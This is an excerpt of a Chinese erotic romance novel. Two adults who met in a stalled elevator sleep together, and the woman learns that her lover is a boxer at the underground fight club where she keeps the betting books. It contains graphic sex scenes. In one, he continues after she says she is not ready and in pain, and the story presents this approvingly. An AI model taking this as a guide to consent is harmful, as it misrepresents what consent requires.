丁涵瘫软在他怀中,好半天才缓过劲儿。她嗓子里哼哼了声,“哦,放开我。” 杜安勇的食指沿着她的大腿滑动,眼中全是笑意,“有本事你让我放啊!” 丁涵脸一红,作势要离开,“你在戏弄我。”

“不敢不敢。”杜安勇赶快说,暖暖的大手抓住她的拳头,拉向自己的胸膛。 话音刚落,忽然电梯里灯光大亮,令他们不约而同往后缩退一下,突如其来的耀眼白光让两人忍不住捂住双眼。响亮的拍门声从对面传过来,只听一个人高喊:“里面有人么?”

丁涵乍听有人接近,尴尬地想从杜安勇怀里爬起来,但杜安勇使劲儿抱着她,对着大门喊了回去:“两个人,我们都还好。”

门那边的人显然松了一口气,“抱歉来晚了,最多忍耐十分钟,我们就能把门打开了。”

丁涵眯着眼睛好一会儿才渐渐适应过来。她来不及为自己衣冠不整羞愧不已,更不用说和杜安勇再次谈心聊天。丁涵低着头迅速坐起来将衣服裙子抚平归位,重新系好扣子拉上拉链,又从包里拿出梳子,将早就纠结蓬乱的头发梳理整齐。 直到再次站定,她才终于鼓起勇气从垂落的头发缝隙中第一次观察杜安勇。正如她印象里的,这个男人属于粗犷又略显蓬乱那一型。他魁梧健壮,肌肤在明亮灯光下呈淡淡的茶褐色,站姿漫不经心,却又带着运动员的优雅。她该对他说什么?

对一个刚刚咬着你的乳头,把手指探进你身下的男人,要说什么才好?

尽管那样的确舒服,但依然很惊世骇俗。

杜安勇非常想说点什么,但随着空间大亮和时间的推移,使得两人刚刚的亲密仿佛像是做了一场梦。他们分别站在电梯的两个角落,等待门被打开,就好像刚开始时的情形。杜安勇蹙起眉头直直望向丁涵的方向。她沉默和平静,层次流畅的波浪长发向前弯曲,拂过面颊遮住脸庞的大半部分,显得她神秘难解。当然,这么说并不准确,仅仅几个小时的相处,他就知道丁涵坦率、诚实、热情、性格活泼开朗。然而,理智告诉他这个电梯也许可以短暂地将两人拉近距离,但出了门之后,大家该回哪儿回哪儿,而他们的方向不一样。

杜安勇鼓起勇气,张口说道:“谢谢你。”

丁涵觉得有些奇怪,杜安勇给他的印象是个轻松随和的人,面对现在这种尴尬的亲密状况,理应泰然自若才是。然而他此刻的不安和别扭,似乎与她不相上下。丁涵有些失望,看杜安勇的样子好像宁可不要待在这里,更不用说尝试了解她一下。她将电脑包挎到肩上,努力让自己的回答自然平和。

“不用,我要谢谢你才是。”

说完她就有些后悔,她谢什么呢?骑在他手上就来了一次平生未有的性高潮么?幸亏电梯门在这时候被打开,丁涵松了一口气,隐藏住尴尬的面色尽量平静地走出电梯。另一面聚集了三四个工作人员,立刻迎上来检查询问,确定他们平安无事后,这才和他们挥手再见。走出大门已是午夜时分,看到皎洁的月光,唿吸着清凉的空气,被温暖丝滑的夜色笼罩着,丁涵觉得仿若隔世般恍惚。

杜安勇走到她身边,悄悄打量她的同时,胡乱揣测她正在想什么,他不想这么快就结束这一晚。

“你住哪里?”丁涵打破平静,开口问道。

“有些距离,我开车过来的。你呢?”

“不远,平时坐地铁二十分钟就到了。这会儿晚了,我打的就好。”

丁涵说得平静,可听到杜安勇耳朵里,让他觉得好像丁涵想和他说再见似的,亦或者不是?他不确定。“这个点儿你一个人打车很危险,我送你回去。” “怎么好意思麻烦你呢!”丁涵婉言拒绝,但杜安勇却抓住她的手腕,带着她来到一辆皮卡前。好吧,这车看上去破破烂烂,但好歹是辆车啊。一路上两人都很沉默,谁都不知道该说些什么,而丁涵更是不知道该把目光投向何处才对。 而且理所应当的,当杜安勇一点儿不介意来点儿交通红灯或堵塞时,路上反而顺利得像是一眨眼就到了丁涵的公寓门口。

“谢谢你…送我回来。”很好,这次丁涵明确知道她该谢什么。

“不客气。”

“嗯,再见。”丁涵将背包带子往肩上提了提,打开车门准备下车。

“丁涵——”杜安勇有些慌乱,一把抓住她的胳膊,仿佛担心她就此消失。 他不知道丁涵究竟怎么看刚刚在电梯里发生的事儿,也承认自己是混蛋,利用丁涵的好心和善良占她便宜,但是他能说什么呢?

“丁涵,对不起!”杜安勇道歉的声音听起来低沈又沙哑,千言万语,好像汇集起来只有这三个字。

丁涵眼中先是震惊,接着闪过一丝受伤。

“我明白。”她低声快速说完,抽出胳膊打开车门跳了出去,动作因为仓促而差点儿失去平衡。

我明白?这什么意思?看着丁涵脚不停歇朝公寓门口跑去,杜安勇脑子有些迟钝,他不懂女人,而且有一半时间愿意承认她们是截然不同的物种。他也承认自己不善于和女人交谈,但这次连他也知道说了大错特错的话。我明白?我明白? 见鬼!她以为我……

杜安勇快速跳出车子,飞快向丁涵跑了过去,直到踏入门厅才拦住她。丁涵使劲儿撇着脸不去看他,同时抬起双手握成拳头,抗拒着想脱开他的掌控。杜安勇一手扣住她的手按在胸前,另一只手捧住她的面颊,感觉到手中一片滑腻。他用虎口卡住她的下巴抬起来,在昏暗的顶灯照射下,杜安勇吃惊地发现丁涵竟然泪流满面。

“白痴!”

二。有多少,就靠那个多少做到最好,不抱怨。

丁涵有些古怪的小姐脾气,谈不上优点,也不算缺点,只能说是特点。她可以竭尽全力努力争取、忍耐迁就,在没有选择的时候;也可以轻易退却放弃,在她担心选择错误的时候。和杜安勇在电梯的疯狂是她这辈子最大胆的一次冒险,午夜的安静、封闭的空间、黑暗的环境、劳苦的工作,当然还要加上生日这天的自哀自怜,就好像嫦娥手里的仙丹,诱惑她终于跨出了循规蹈矩的生活状态。 可是一旦出了大门吹了凉风,看着天上挂的月亮、听见过往车辆发动机的轰鸣声,理智和现实终于回归大脑中,拉扯着她退后,尖叫着让她小心谨慎。她听话的照做,但却挡不住心里的难过,尤其是听见杜安勇向她抱歉。没错,一切来得快去得也快,在哪里发生的事儿还留在哪里,从此再没任何关系。杜安勇婉转又直接的拒绝让她伤心欲绝。承认也好、否定也罢,事实是她只用两三个小时就喜欢上这个陌生人。

看到杜安勇忽然追赶上来,丁涵满脑子就一个念头——打死不能让他看到她的伤心难过。可丁涵既没杜安勇跑得快、也没他力气大,换来的就是一句响亮的咒骂。她以为杜安勇在说她,当然也有可能说的是自己,亦或者两个人都是,但此刻她无暇顾及。杜安勇在她开口反应前,已经先一步把她拉进怀里,与她胸口紧紧相贴,接着嘴唇覆盖上来。也许是因为她已不再是陌生人,杜安勇电梯里的那个吻和现在这个完全无法相提并论。他双手抚在她颈后和背部,不断促使两人的身体更加靠近,好像在逼迫她投降,又好像想将两人的心跳和唿吸合二为一。 虽然他们被臃肿的大衣隔住,可丁涵仍能感觉杜安勇腰上的皮带环贴在她的肚子上,还有其他的,那感觉让她眩晕不已。

过了好久,直到两人吻得喘不过气,杜安勇才靠住她的前额松开口,稍稍扯开些距离争取唿吸的机会。丁涵的双手搭在他腕上,他听见她轻喘,感觉她口中的热气拂过他的下巴。激情下的杜安勇有些站不稳,他上前两步将丁涵紧紧抵在墙上,一双大拇指在她颧骨处的嫩肤上抚摩,渐渐下滑触到她的唇沿,那儿由于他长久的热吻有点肿胀。一时间杜安勇百感交集,既懊恼几乎误解了丁涵的安静,差点让她走出自己的生命,又万分庆幸最后一刻再次抓住她。杜安勇闭了闭眼睛又睁开,直到确定她依然在面前,由衷的感激与如释重负泛过全身,使他几乎跪到地下,让他不由自主将整个身体向丁涵压得更紧。他如此需要她,迫切程度令自己都吃惊。

“丁涵,”杜安勇深深吸口气,一只手慢慢捏住几缕下垂到面庞的秀发。 “你不该让我碰你。我想操你,想得快疯了。”

“嗯,我住八楼。”丁涵呢喃低语,温暖的鼻息轻柔地落到他的唇上,湿润的目光在微颤的眼睫毛下闪烁着亮光,沙哑的嗓音因为激动反倒没了羞涩。 “你确定?”

丁涵紧张地咽了咽口水,她一点儿都不确定。甭管刚刚两人有多亲密,从严格意义上说仍然只是肢体上的亲密接触,可以用年轻冲动、荷尔蒙高涨找借口,但邀请他午夜时分走进自己家门,却透露着几分熟悉、几分信任。理智告诉她一切太过疯狂,就算是冒险也要有个底线,对吧?没错,这道理她懂,但她不想考虑,总之,现在不想思考这一点。她当然可以转身回家忘掉这个人这码事儿,然后呢,到老了一个人坐在摇摇椅里晒着太阳死翘翘吗?

“当然。”丁涵大声说道,那声音奇怪而遥远,好像来自另外一个人。

两个人跌跌撞撞跨入电梯,谢天谢地这次什么意外都没有发生。丁涵拉着杜安勇走进家门,她的家和本人的装扮非常契合,虽然地方不大,却不觉得拥挤,维护得非常精心。家俱简单朴实、装修更是充满女性的芬香味道。整个屋子的色调以白色和蓝绿色为主,透着淡淡的舒适和素雅。杜安勇由衷夸了句:“你的家很漂亮。”

丁涵打量四周一圈,眼里透着骄傲和欢喜。“老房子了,地方小,环境也非常吵闹。不过,太婆曾说苔花如米小,也学牡丹开。有多少,就靠那个多少做到最好,不抱怨。”

杜安勇笑着点点头,渐渐习惯丁涵时不时蹦出来的太婆智慧。他帮她把电脑包放好,抬抬胳膊说:“我能用一下洗手间么?”

丁涵指了指方向,然后回到自己卧房脱掉工作装,换上一身居家服。等她出来时,发现杜安勇已经脱了鞋子和袜子,赤着脚站在客厅的大鱼缸前看着各色金鱼吐泡泡。她心里很是喜欢杜安勇的随和,问道:“你饿了么?我做些吃的给咱们俩,鸡肉好么?”

杜安勇点点头,“我不挑的。”

丁涵走到厨房,打开冰箱取出一袋鸡腿,然后从柜橱拿出烤盘,将鸡腿摆放整齐、在上面撒上调料,放进烤炉里。看到杜安勇也跟了进来,她回头对他笑笑,指指壁橱道:“里面有酒,你自己来。如果不喜欢,冰箱里有啤酒。”

她将烤炉定好时间,又挑出来几种蔬菜准备做沙拉。杜安勇一看这动静,走上前制止她。“这都深更半夜了,简单一些就好,别太麻烦。”

“没关系,烤炉烤好还有点儿时间,左右都是等。”丁涵也很务实,没想着要在这个点儿费时费事做大餐,准备的都是及其简单的材料。

“我知道一种更好的等待方法。”杜安勇说着揽腰抱住丁涵,一手扶住她的头调节角度,一只手抚过她的下巴来到咽喉,灵巧的指尖在颈部流连,爱抚那儿光裸的肌肤。他低下头再次索吻,计画着这次一定要吻得有些技巧、有些耐心、缓慢一些、温柔一些。丁涵配合地踮起脚尖迎接上去,直到两人的嘴完全契合。 杜安勇用舌尖缓慢描绘丁涵的双唇,亲昵的动作让丁涵听话地张开嘴巴。他的舌头趁机滑入,同时手臂收紧将她拉得更近,倾斜的姿势让丁涵的腿间刚好承受杜安勇已经挺立的勃起。她忍不住再次发出小小的声音,而杜安勇的吻也更加深入,使她几乎无法唿吸。

杜安勇的手缓缓来到丁涵的胸前,感觉了重量之后开始轻轻抚弄。他拉下家居服的拉链,露出丁涵的赤裸香肩,又从衣袖中抽出她的胳膊,衣服因为两人的身体毫无空隙卷在了腰际。杜安勇并不在意,迅速解开丁涵的内衣并将之除去,然后抓住她的双肩向后扣住,这个姿势使她以从未感受过的方式完全暴露敞开,杜安勇温热气息刺激着她裸露的肌肤,惹的她一阵颤栗,嫩白的肌肤凸起一片小小的颗粒。杜安勇目光炽热地看着,大手覆盖上裸露光洁的皮肤,揉弄着双乳,将顶端的两颗蓓蕾挤捏得挺立起来。而当他低头贴近她胸部时,丁涵想起上一次杜安勇这么做时对她的神经冲击。她惊慌起来,一股想要挣脱的本能升起,直到他的嘴唇含住她的乳尖,用舌头挑动爱抚。

温湿的暖流由胸口间扩散,转化成强烈的激情穿身而过,丁涵的膝盖顿时弃守岗位,幸好杜安勇一把将她稳稳抓着靠到料理台上,丁涵抱着他的头忍不住发出一阵阵愉悦的唿喊。杜安勇不再温柔,不过那似乎也没什么必要。他嘴上施加的压力越大,丁涵埋在体内的激情越是节节上升。她急切地想要触摸他的皮肤,拉扯着将杜安勇的长袖打底衫从裤子里抽出来,努力想把它从头上脱掉。即使两人非常渴望他的停留,杜安勇这时候也不得不抬起头放开手和嘴,稍稍退开将衣服脱了下来。

丁涵的眼睛有点儿不够瞧,宽阔的肩膀,结实的肌肉,强壮的胳膊,直到盯着他肩头的刺青。她缓缓直起身体向前倾靠,半信半疑抬头望进杜安勇的眼睛,试探中叫了声:“牛二?”

裸着上身的杜安勇正要上前再次抱住丁涵,闻言定住身体,撇撇嘴道:“嗯,脱光认出我是谁了!”

丁涵的生活平淡如水,如果说有那么一点点色彩的话,就该是给一间地下拳场算输赢。说是拳场,其实就在办公楼里的健身房。每个星期三晚上,在大厅里铺上台子和座椅,一个临时拳场就被搭建起来。这个拳场圈子私密规模小,只有经过介绍才能加入,会员除了赌注一切免费。她需要做的,就是根据每场的实际赌注,快速给负责人一张整场比赛输赢多少的单子。

丁涵在这个拳场最喜欢的部分,就是躲在角落远远欣赏那些戴着亮片水钻、嘴唇上涂抹鲜红色唇膏的服务小姐。她非常想和她们一样,有丰满的乳房,明亮的紧身短裙和性感的高跟鞋,在人群中自由流畅地穿梭,和客人轻松地谈笑聊天。 她私下觉得如果她是她们其中一员,会在脚腕上缠一根细细的银链子,也许在腰上再加一个蝴蝶或者玫瑰形刺青效果会更好。

当然,丁涵的注意力也会随着场上比赛的激烈吆喝而暂时转移,赌拳对她来说太过血腥和暴力,所以从来不曾真正靠近。不过呆了一段时间后,她也知道在这个拳场上场非常稀罕。拳手没有名字只有绰号,除了几个是负责人的旗下选手,其他则是会员自己带进来的,而‘牛二’是为数不多的游离拳手之一。这绰号据说是因为他喜欢牛栏山二锅头——生猛、带劲儿,就像他的拳头。丁涵并不认识他,实际上,她一个拳手都不认识、也不打交道,‘牛二’上场又带着护头,更无从谈起认脸,但他肩头牛魔王的刺青,丁涵无论如何不会错过。现如今,这个挥起拳头就能把人揍个人仰马翻、鼻青脸肿的‘牛二’忽然变成杜安勇站在她面前,让她一时半会儿怎么也适应不了。

幸亏烤炉计时器的蜂鸣声响起,丁涵定了定神,赶紧穿好衣服,转身打开烤炉,戴上手套将鸡腿拿了出来,一阵忙碌将餐盘放置整齐。两个人在餐桌边坐好,丁涵拿起酒杯抬眼看向杜安勇,眼神和表情都表示她脑子里有成百上千个问题。 杜安勇追上丁涵时就没打算再瞒着她,两人一边吃着东西一边向她和盘托出。 周围很少有人知道杜安勇打拳的事儿,因为他从来没有对这项技能产生过丝毫成就感。小的时候去体校学搏击只是为了能早早打过他爸,保护自己保护他妈。练着练着出了成绩拿了奖他也不是很挂心,后来他爸中风去世,杜安勇毫不犹豫抛下这段经历外出打工,发誓不再和拳头有丝毫牵连。世事无常,这誓言到底还是被打破。

对他来说,注意到丁涵倒不是因为她有惊人美貌或是魔鬼身材,而是她和周遭气氛的不搭调。他位处台子高处的中心位置,所有人都看着他,而他也能看到所有人。丁涵站在最周边的一个角落,长长的头发从松松绑住的发带中熘出,白皙的皮肤在明亮的灯光下闪耀如雪,闪烁着健康的光彩。她没有像周围人一样大声的吆喝和呐喊,优雅的脸上带着微笑,眼中跃动着智慧,偏着头的模样充满好奇。

起初杜安勇没有在意,丁涵在同一时间同一位置出现了好几次后他终于留了心,这才知道是老板的一个亲戚,被叫来当临时会计,平时在楼里某个办公室坐格子间,有比赛了过来帮忙算帐。他也没有什么动作,可有可无点点头。只不过从此来拳场的频率多了些,即使不出场,他也会在场子里坐坐,或者有空了到健身房扛扛哑铃打发时间,甚至像今天似的,竟然不由自主用起了电梯。遇见丁涵可以说并非纯属巧合,而和她一起困在电梯,对杜安勇来说,既是磨难也是运气。 杜安勇的直白让丁涵双颊泛起若有似无的红晕。她按耐住羞赧,继续问道:“发生了什么,让你打破誓言去打拳?”杜安勇省略了些事情,但丁涵听得仔细,想得更仔细。

杜安勇停顿一下,丁涵立刻意识到自己问了个巨傻无比的问题。就算秦琼卖过马、杨志卖过刀,哪有男人愿意承认缺钱到要去卖命打拳的。她赶紧纠正道:“你要不想说,可以不说。”

杜安勇摇摇头,“我说过曾经有个女友,我想留住她,可是得需要钱。刚好曾经打比赛时,一个常常遇到的对手在这个拳场,于是介绍我加入,没什么比打拳来钱更快了。”

丁涵吃惊极了,她原本以为会听到一个亲人生病、上学、或者潦倒走背字的故事,没想到这年月还有为爱情抛头颅洒热血的人,“可是你还是没能留住她?” “怎么比?那是个非常有名的医生,病人给钱都得托人找关系排队才行。” “那现在呢?你都说是前任了,现在却仍在打拳。”

杜安勇眼神有些飘离,“对我来说,不是很容易。”

丁涵有些懊恼,看来事情并不简单。她面前好像有一个战场还未结束,至少现在还没有。虽然杜安勇的语气略带玩笑,但她仍能感觉他的无力与正经。丁涵和他的前女友素不相识,但这并不是真正的问题所在。最主要的问题在于,几乎打从知道杜安勇生命里曾经有这么一号人开始,她就不由自主对这个女人散发出一种无法解释也掩饰不住的敌意。

丁涵拿起桌子上一个苹果向杜安勇砸去,正中他的下巴。

“嗨,”杜安勇揉着下巴一脸惊讶,“你在干什么?”

丁涵又抓起另外一颗,仍是正中目标。好像还不够解气似的,她一下子扑到杜安勇身上,双手揪着他的耳朵,鼻尖和他相距不过寸许,一个字一个字道:“我不要再听关于这个女人的任何事!一个字都不要,听到没有?”

杜安勇愣了一两秒,然后伸手抹过脸好像要掩饰笑意。他搂住丁涵的腰,一把将她带到他腿上。“白痴,这还吃醋呢……不过我喜欢我的女人为我吃醋。” “我才没有!”丁涵忍不住握紧拳头,“我可是会打人的。”

杜安勇深不见底的眸子晶亮地看着她,过了一会儿才稍微挪动身子,亲吻她的鼻尖,一脸认真说道:“丁涵,相信我,我真的很喜欢你。”

丁涵听到后心里很是高兴,就差蹦到桌子上手舞足带庆祝呐喊了,可到底还是知道要保持些矜持,只是盯着他傻傻地笑。看着看着丁涵忽然有了新发现,杜安勇皮肤黝黑,棱角分明的面貌略显粗旷,微垂的眼睫下双眼细长,高耸突兀的颧骨透着些许冷峻,然而微翘的两片嘴唇又让他显得有些任性和孩子气。她不假思索大声说出第一感觉:“我有没有提过你很漂亮?”

杜安勇怔住,然后呵呵轻笑,“这辈子还第一次听人说我漂亮。”

丁涵拍了拍他的面颊,撇撇嘴道:“可见你都跟那种不识货的女人在一起。” “大概吧!”

话音刚落,杜安勇就将她拦腰抗在肩上。丁涵尖叫一声,咬着牙抡拳捶着他的背,杜安勇却浑然不以为意,大步朝卧室走去。丁涵的房间黑暗,但还是可以隐约看到墙边有张床。他打开床头灯,房间立即被温暖的灯光照亮。丁涵的卧室延续客厅的风格,柔和而女性化,窗帘、床单和枕头都是一个式样的格子图案和花边,甚至连灯罩都是。杜安勇原本以为会看见一张单人床,没想到丁涵的床却非常大,仿佛正邀请他在寒冬的深夜接受它温暖的拥抱。

“放我下来。”丁涵笑骂着嚷嚷,手又捶他的后背。

“遵命,没想到你这么重!”杜安勇假装气喘吁吁。

丁涵的背部砰落在床上,还没叫出声,杜安勇已经扑了过来,重重落在她身上,将她再度拥抱住。

“你也不轻啊。”丁涵哼了声,想让自己舒服点,结果是身体平摊在床上,被杜安勇拉扯着直至不着寸缕。

“全是肌肉,谁都知道肌肉比脂肪重。”杜安勇直起腰,一边盯着丁涵的白嫩光洁的肌肤,一边迅速把自己也脱个一丝不挂。

哇,可不是么。她刚想开口说话,杜安勇已经在她脸上吻了起来,丁涵顺从地回应着,双手顺着他的身体来到胸膛,手掌下如雷的心跳显示他和她一样兴奋。 “你这身板,摸着真舒服。”

当她的手掌向下来到腰际,杜安勇忍不住呻吟,抓住她滑进两个人身体间,摁着她的手握住自己,低声要求道:“那就继续。”

丁涵有些迟疑,先是试探的碰触他的勃起,怯怯地卷起手指圈住他,看到杜安勇一副隐忍多时的折磨样子,这才大胆地握紧,由上到下有节奏磨蹭着。 “你好烫啊!”丁涵低喃。

杜安勇猛地倒抽一口气,在她手中挺动几下。丁涵的抚摸带给他特殊而兴奋的刺激,嗓音更是因渴望和需要而略显嘶哑。

“你这样抚摸男人,会令他受不了的…对,就是这样。不要停…哪儿学的,操,我以为你是乖乖女呢。”

“我当然是啊。”丁涵的手停下来,声音带着恼怒。

“可不是么,我不该吃惊的。从见到你开始,你都在致力于给我留下好印象。” 丁涵咯咯笑起来,手上使劲儿捏了捏,“你个流氓。”

杜安勇从喉间发出嘶嘶声。他拉开丁涵的手,横过一条腿放在她的大腿上,抬起身体覆盖上来,同时双臂撑在她身体两侧避免压住她。“好啊,这会儿我最想当个流氓了。”

杜安勇下床在裤子里翻找,变戏法似的手里就多了一个锡箔小包装。他撑起身体分开丁涵的双腿,跪在她腿间将自己武装好,然后弯下腰一只手环抱住丁涵,另一只手则紧紧握住她的双手举过头顶,低下头双唇扫过她的耳际,闷声问道:“你准备好了么?”

丁涵打开双腿勾住杜安勇的腰,脚跟搭贴在他的腰窝,睁大双眼看着他屈膝覆盖在她身上。满世界好像都是他的气味、重量和体热,丁涵晕乎乎的几乎要窒息,“当然,你呢?”

杜安勇抬起头,看看天花板,装佯犹豫道:“嗯…让我想想。”

丁涵双手挣脱出他的束缚,顺着身体滑到他的臀部啪啪拍打两下,发出清脆的声音。她娇声抗议:“讨厌,我真会打你的!”

杜安勇胸口起伏,趴倒在她身上,磨蹭着她的颈窝,嘴唇渴切地覆盖住她。 这次的吻不再温存、而像个心有所图的男人,专心、彻底。“我喜欢说到做到的女人。”

丁涵感觉到他的勃起在腿间跳动,似乎殷殷探路并恳求进入。尽管已经有所准备,丁涵还是吓了一跳,她紧紧抓住他的肩膀,嗓子里哼哼着:“我好像没准备好。”

杜安勇更用力地挺进,肌肉也更加紧绷,一滴汗水自他眉梢滴下。“我认为不会太难,至少,没人抱怨过。”

丁涵有些认命似的紧闭双眼,“那就是说做起这事儿来,你还行,是吧?” 杜安勇发出一声奇怪的叹息,“你觉得我还行?等着瞧,宝贝儿,等我跟你完事——”

杜安勇再次稍稍抬起身体转换姿势,使出浑身的控制力缓之又缓的刺入,一边扭动一边调整,一点一点进入丁涵体内,直到整个纳入,滑润和灼热包裹着他,是一种折磨,更是一种享受,甜蜜得让杜安勇欲死欲仙。

丁涵震惊得无法出声或唿吸,只是下意识挪了挪身体。

“你先不要动。”杜安勇一个字一个字小心而清晰地自齿缝迸出,声音有些颤抖。“我说,别动!别扭!”

“我…只是想找个比较舒服的姿势。”

“我会让你舒服的。”

杜安勇开始滑出她的身体,缓慢而小心。

丁涵脸上的表情好像正深陷极大的痛苦中,她皱着脸又哼哼了一声:“疼死了。”

杜安勇手指掐入她的臀肌,但很快又松开,“假如他的女人不在他努力时唠唠叨叨,情况会好很多。”

“噢,我——”丁涵张口分辨。

“够了!过会儿说谢谢就好。”

杜安勇低下头吻住她,同时把自己再次推进她身体完全充满。他咬着牙、绷紧脖子,唿吸转变成快速而简短的喘息,可是他仍然控制住自己,稍稍后退再前进、举起再移动。当杜安勇把她的腿举起,倾身向她压下去时,丁涵只能睁大双眼,用不值一提的力量想将他推开。杜安勇趁机一只手向下移至他俩身体之间,开始转着圈爱抚她,同时对她猛冲,以一个有力的动作,让自己再次完全进入。 丁涵听见自己的嗓子里发出一声尖锐的叫声和抽泣,感觉髋骨急切地顶撞他。 她无助地抱着杜安勇的脑袋,将他紧紧扣在臂弯里,喊着他的名字,随着他的身体一起一伏。在没有任何警讯下,一股旋绕的兴奋忽然抓住她,让她惊慌失措,只会跟着本能驱使,手臂和双腿用力圈住杜安勇,高高拱起身体将他带入体内更深处,挣扎着试图捕捉住那种触电似的奇妙感觉。

直到丁涵渐渐从高潮中平静下来,杜安勇总算允许自己再次动起来。他设法又维持了一会儿自制,但也只有那么一会儿,湿暖狭小的感觉深沈强烈,几乎难以承受的快感从他的鼠蹊蔓延到双腿,然后窜上背嵴、钻入双臂,再涌进他的口腔。杜安勇忍不住发出吼声,不再压抑那股冲动,提起速度狠冲猛撞,使劲狂捣尽根入底,愈战愈猛直至喷涌而出。他将头埋进丁涵的颈窝,双手微微发抖,胸膛也起伏不已。这不仅是由于体力耗费,更是因为体内燃烧的欢喜——杜安勇强烈又痛楚地再次想起,他差一点就让她离开。

丁涵无力地躺在他深重的身体下,舒适地陷入在床铺中,汗水将他们的前身黏贴在一起,清凉的空气吹过身体侧面。

“杜——”丁涵的语言能力好像已经退化,除了叫他名字外,什么也说不出来。

杜安勇在她的太阳穴印下一个吻。“我说过的,不客气!”

“噢!”丁涵筋疲力尽但心满意足地躺在他身边,四肢充满她无法想像的慵懒乏力,几乎是立刻昏睡过去。

一缕阳光从窗帘缝隙翩翩飞入房里,丁涵慢慢醒来,很快发现自己全身赤裸,而且并非一人独寝。她翻身偏了偏脑袋,只见杜安勇抱着枕头趴睡着,修长而健壮的身体完全坦露。他两腿张开、一膝屈起,唇沿与下巴已冒出点点胡渣,显得年长一些,但是浓密的头发与睫毛让他看来像个小男孩。丁涵的嘴巴有些干涩,她赶紧挥手捂住,小心翼翼咳嗽了两下。

杜安勇睡得非常安稳,没有丝毫像醒来的样子。丁涵喜滋滋起身捞起睡衣披在身上向洗手间走去,计画着今天可以做些什么。虽然她并不介意一直这么躺下去,可不管怎么样,都要让自己干干净净、口气清新才好。

再次回到卧室,丁涵刚走到杜安勇身边,就见他一只眼睛睁开一条缝,声音带着浓浓的睡意和微笑,“脱光。”

丁涵笑着走向窗户拉开窗帘。丰沛明亮的光线涌入房间,杜安勇大声呻吟,“丁涵,你有生命危险。”说着伸手抱住她,拉扯到床上使劲儿亲吻上去。 两人嬉笑着在床上打闹,丁涵翻身趴卧在杜安勇身上,抬起身体瞥了眼床头的闹钟,惊叹一声道:“天啊,已经十点了!”

“你希望我离开么?”杜安勇把她抱回到怀里,脸庞埋到她的秀发中,深吸一口气,问出他醒来后最想问的问题。

丁涵和他稍稍拉开距离,看着他说道:“这得看情况。”

“什么情况?”

丁涵假装想了想,“嗯……我在找一个男人。”

“我是男人啊,有什么不对?”

“我的意思是,可以没有顾忌回家睡在床上那种。”

“我单身啊!”说着,杜安勇翻身重新把丁涵压在身下。

丁涵被他压得气喘吁吁,提高嗓子大声来了句:“我想结婚生孩子!”

杜安勇像中了一枪似的立刻直起身子,“哇!”

丁涵赶紧抓住机会顺畅唿吸,然后继续说道:“嗯…你知道,昨天在电梯一回事儿,现在是另外一回儿事儿,再将来就是正儿八劲儿的事儿了。我是说那种为了同一个将来玩真的、正式的交往,不管这个将来有多大,或者有多小。” 杜安勇死死盯着丁涵好一会儿,握住她的手说道:“有多少,就靠那个多少做到最好,不抱怨。”

听到杜安勇把她昨天的话再次抛给她,让丁涵有些意外有些欢喜。她也坐了起来,和杜安勇面对面答道:“没错。”

“问题是,你会后悔么?”

丁涵抽出手转而盖在他的手上,认真答道:“我不会,你相信我吗?”

杜安勇双手捧起她的脸,强迫她深深看进他眼底。他似乎想在她的眼睛里找到什么,头脑发热的冲动?屈尊纡贵的消遣?歇斯底里的寂寞?都没有,杜安勇看到的只是一个单纯的保证。丁涵的表情就像他初次见到她的那样,聪慧中透着安静。他双手合十,然后手掌朝上,做出求饶的手势,眼神温暖至极。

“我完完全全相信你。”

三。我们总是会想,没有选的那一条路,会不会更好。

很快丁涵就摸清杜安勇的作息,他一个星期一半时间耗在郊外的水果大棚,还有一半时间在超市。工作开始时间、结束时间都不固定,遇到加单采购就更晚得没边,可周三晚上一定会在拳场,有时候出场有时候只是观看,结束后总是一起回丁涵家。一来离上班的地方不远,二来环境比杜安勇住的地方要好很多。丁涵很想提议让他搬过来住,但也知道他们才在一起,这个话题太敏感,不能给他施加压力。三四个月下来,他们见面的次数不多不少,生活不远不近,两人的关系有一种轻松自在,也有一种若即若离。

丁涵觉得也许是因为过往的经历让杜安勇有些过于小心谨慎,但从目前的状况看,这也不是着急就能改变的事情。这几天两人都忙,没见过面也没怎么通过消息。丁涵握着手机很想打个电话问杜安勇今天要不要在外面吃饭,却不知道时间是否合适。她虽然很喜欢他,可还是很小心地没有抓着他不放,或者表现得很粘人,更不用说要求他把时间都给她。正犹豫着手机响起一声短信提示音,杜安勇告诉她今天要到很晚才会结束。丁涵知道他工作繁忙,加班加点常有的事儿,对此毫无怨言,毕竟自己也经常如此。她笑着把电话拨出去,听到第二声铃响时杜安勇接起了电话。

“嗨,我收到你的短信,今天怎么样?”

“没完没了的工作,刚刚发现卸货的人早上把单子搞错了。”也许是疲惫,杜安勇的声音显得有些心烦意乱。

“要我给你带些吃的去么?”丁涵很体贴地问道。

“不了,刚才已经吃了些垫肚子。如果不是太晚,你又希望我去的话,我会在去你那儿的路上让精神恢复过来。”

“我希望你来,怎么晚都没关系。”丁涵喜欢他说到最后,刻意压低声音的深沈语调。

“好吧,一会儿见了。”

丁涵挂了电话,走到厨房琢磨着晚饭做点什么,就算杜安勇说过他已经吃过,说不定来了之后还会再需要点夜宵填肚子,也许需要再买些熟食或者其他花样的早餐。当杜安勇按响门铃时,已经快要晚上十点。丁涵刚刚走出浴室,脸庞泛着被蒸汽薰染的红晕,电吹风吹过的长头发蓬松披泻而下,垂落到她的双臂、肩膀及胸前。她浑身一丝不挂,而且很显然精心修饰过自己,光熘熘不见一根毛发,两腿间隆起的一条诱人的细缝儿清晰可见,看上去明艳动人、充满诱惑力。 杜安勇随着她走进厨房,桌子上已经摆好了一盘虾肉煎饺,旁边是一小杯牛栏山。“哇,你这餐馆的服务太周到了。”尽管已经很劳累,杜安勇却很是高兴。 他全神贯注观赏着丁涵,色色地说道:“而且我喜欢服务小姐穿的这身衣服。” 丁涵盈盈微笑,深邃明亮的黑眸瞅着杜安勇,替他拉开椅子,做了一个入座的手势,并且嗲嗲说道:“杜先生请慢用。”

杜安勇三两口吃完,迫不及待待起身,张开双臂抱住丁涵亲吻起来,“看来晚上加班还是值得的。”

丁涵手臂环住他的脖子,胸脯压到他的胸膛上,头部紧贴他的臂弯,也急切地仰起脸迎接他探入的舌头,体内一股焦躁的感觉蔓延开来,冲过双臂与背嵴,在臀部与膝盖泛起涟漪。

“饱了吗?”丁涵扣住他肩膀边吻边问。

“还是很饿。”杜安勇答道。

“你喜欢什么?”丁涵笑着问道,一条腿抬高,顽皮地缠绕着杜安勇的卡其长裤摩挲,顺手脱去他的夹克衫,露出蓝色的高领衫。

